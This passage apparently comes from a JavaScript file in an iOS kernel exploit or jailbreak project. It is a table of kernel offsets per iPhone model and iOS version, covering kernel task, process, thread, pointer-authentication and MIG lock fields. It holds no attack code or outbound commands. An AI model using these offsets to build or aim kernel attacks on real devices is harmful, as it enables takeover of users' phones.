0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa35a20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa2da20n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa9ebe8n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n,\n\t\t\t\t\tmigLock: 0x37b8b80n,\n\t\t\t\t\tmigSbxMsg: 0x37b8ba0n,\n\t\t\t\t\tmigKernelStackLR: 0x3190fa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa6cd0n,\n\t\t\t\t\tmigLock: 0x37d4c90n,\n\t\t\t\t\tmigSbxMsg: 0x37d4cb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31acce4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaaade0n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x37dcc90n,\n\t\t\t\t\tmigSbxMsg: 0x37dccb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31b5b60n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 13\n\t// iPhone 13 Mini\n\t// iPhone 13 Pro\n\t// iPhone 13 Pro Max\n\t// iPhone SE 3\n\t// iPhone 14\n\t// iPhone 14 Plus\n\t\"iPhone14\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918ee0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91d318n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x925770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9256d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x925720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f6230n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f6248n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa02678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9fa678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x382c218n,\n\t\t\t\t\tmigSbxMsg: 0x382c238n,\n\t\t\t\t\tmigKernelStackLR: 0x317d020n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x3848428n,\n\t\t\t\t\tmigSbxMsg: 0x3848448n,\n\t\t\t\t\tmigKernelStackLR: 0x31994a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa73d10n,\n\t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n\t\t\t\t\ttro: 0x398n,\n\t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x38543a8n,\n\t\t\t\t\tmigSbxMsg: 0x38543c8n,\n\t\t\t\t\tmigKernelStackLR: 0x31a27e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"6\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x92d318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x935770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9316d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x931720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa06230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa06248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa12678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa0a678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa77b18n,\n\t\t\t\t\tmigLock: 0x3898c18n,\n\t\t\t\t\tmigSbxMsg: 0x3898c38n,\n\t\t\t\t\tmigKernelStackLR: 0x31dff60n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa7fc00n,\n\t\t\t\t\tmigLock: 0x38b4e28n,\n\t\t\t\t\tmigSbxMsg: 0x38b4e48n,\n\t\t\t\t\tmigKernelStackLR: 0x31fc3e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa83d10n,\n\t\t\t\t\tmigLock: 0x38bcda8n,\n\t\t\t\t\tmigSbxMsg: 0x38bcdc8n,\n\t\t\t\t\tmigKernelStackLR: 0x3205560n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"7\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 14 Pro\n\t// iPhone 14 Pro Max\n\t// iPhone 15\n\t// iPhone 15 Plus\n\t\"iPhone15\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x914e00n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919238n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9215f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921640n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x91d640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9ee150n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2168n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67c18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x37863f8n,\n\t\t\t\t\tmigSbxMsg: 0x3786418n,\n\t\t\t\t\tmigKernelStackLR: 0x3131620n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fd00n,\n\t\t\t\t\tmigLock: 0x37a2788n,\n\t\t\t\t\tmigSbxMsg: 0x37a27a8n,\n\t\t\t\t\tmigKernelStackLR: 0x314dc24n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fe10n,\n \t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n \t\t\t\t\ttro: 0x398n,\n \t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x37aa708n,\n\t\t\t\t\tmigSbxMsg: 0x37aa728n,\n\t\t\t\t\tmigKernelStackLR: 0x3152ee0n\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"4\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x941238n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x949690n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9495f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x949640n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa2a150n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2a168n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3a598n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa32598n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xaa3c18n,\n\t\t\t\t\tmigLock: 0x38c5388n,\n\t\t\t\t\tmigSbxMsg: 0x38c53a8n,\n\t\t\t\t\tmigKernelStackLR: 0x325f1e0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa7d00n,\n\t\t\t\t\tmigLock: 0x38dd698n,\n\t\t\t\t\tmigSbxMsg: 0x38dd6b8n,\n\t\t\t\t\tmigKernelStackLR: 0x32777e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaabe10n,\n\t\t\t\t\tmigLock: 0x38e5618n,\n\t\t\t\t\tmigSbxMsg: 0x38e5638n,\n\t\t\t\t\tmigKernelStackLR: 0x3280aa0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 15 Pro\n\t// iPhone 15 Pro Max\n\t\"iPhone16\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0x140n,\n\t\t\t\t\tropPid: 0x1b0n,\n\t\t\t\t\tjopPid: 0x1b8n,\n\t\t\t\t\tguardExcCode: 0x380n,\n\t\t\t\t\ttaskThreads: 0x3c0n,\n\t\t\t\t\ttro: 0x3d0n,\n\t\t\t\t\tast: 0x3f4n,\n\t\t\t\t\tmutexData: 0x400n,\n\t\t\t\t\tctid: 0x480n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x978ef0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x991eb0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\toptions: 0xc0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3c8n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x99a308n,\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x99a268n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x99a2b8n\n\t\t\t\t},\n\t\t\t\t6.2: {\n\t\t\t\t\tkernelTask: 0x9962b8n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xaae870n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x388n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x490n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xaae888n,\n\t\t\t\t\ttaskThreads: 0x3d0n,\n\t\t\t\t\ttro: 0x3d8n,\n\t\t\t\t\tast: 0x3fcn,\n\t\t\t\t\tmutexData: 0x408n,\n\t\t\t\t\tctid: 0x488n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xab6cb8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xab2cb8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xb23d28n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x498n,\n\t\t\t\t\tmigLock: 0x3c03ef0n,\n\t\t\t\t\tmigSbxMsg: 0x3c03f10n,\n\t\t\t\t\tmigKernelStackLR: 0x3582fe0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xb2be10n,\n\t\t\t\t\tmigLock: 0x3c181a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c181c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35993a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xb2ff20n,\n \t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t\tmigLock: 0x3c241a8n,\n\t\t\t\t\tmigSbxMsg: 0x3c241c8n,\n\t\t\t\t\tmigKernelStackLR: 0x35a26a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t// iPhone 16\n\t// iPhone 16 plus\n\t// iPhone 16 pro\n\t// iPhone 16 pro max\n\t\"iPhone17\": {\n\t\t\"*\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x4042dc0n,\n\t\t\t\t\tmigSbxMsg: 0x4042de0n,\n\t\t\t\t\tmigKernelStackLR: 0x3912aa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x405eff8n,\n\t\t\t\t\tmigSbxMsg: 0x405f018n,\n\t\t\t\t\tmigKernelStackLR: 0x392be64n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1bf78n,\n \t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n \t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 0x420n,\n\t\t\t\t\tctid: 0x4b0n,\n\t\t\t\t\tmigLock: 0x4066f88n,\n\t\t\t\t\tmigSbxMsg: 0x4066fa8n,\n\t\t\t\t\tmigKernelStackLR: 0x39352e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xb7e1c8n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\tkstackptr: 0x148n,\n\t\t\t\t\tropPid: 0x1b8n,\n\t\t\t\t\tjopPid: 0x1c0n,\n\t\t\t\t\tguardExcCode: 0x390n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\toptions: 0xc0n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xb7e1e0n,\n\t\t\t\t\ttaskThreads: 0x3d8n,\n\t\t\t\t\ttro: 0x3e0n,\n\t\t\t\t\tast: 0x404n,\n\t\t\t\t\tmutexData: 0x410n,\n\t\t\t\t\tctid: 0x4a0n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xb86610n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xb82610n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xc0fd80n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x3e0n,\n \t\t\t\t\ttro: 0x3e8n,\n\t\t\t\t\tast: 0x40cn,\n\t\t\t\t\tmutexData: 0x418n,\n\t\t\t\t\tctid: 0x4a8n,\n\t\t\t\t\tmigLock: 0x408acd0n,\n\t\t\t\t\tmigSbxMsg: 0x408acf0n,\n\t\t\t\t\tmigKernelStackLR: 0x396e4a0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xc17e68n,\n\t\t\t\t\tmigLock: 0x40a6f08n,\n\t\t\t\t\tmigSbxMsg: 0x40a6f28n,\n\t\t\t\t\tmigKernelStackLR: 0x3987924n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xc1ff78n,\n\t\t\t\t\tguardExcCode: 0x398n,\n\t\t\t\t\ttaskThreads: 0x3e8n,\n\t\t\t\t\ttro: 0x3f0n,\n\t\t\t\t\tast: 0x414n,\n\t\t\t\t\tmutexData: 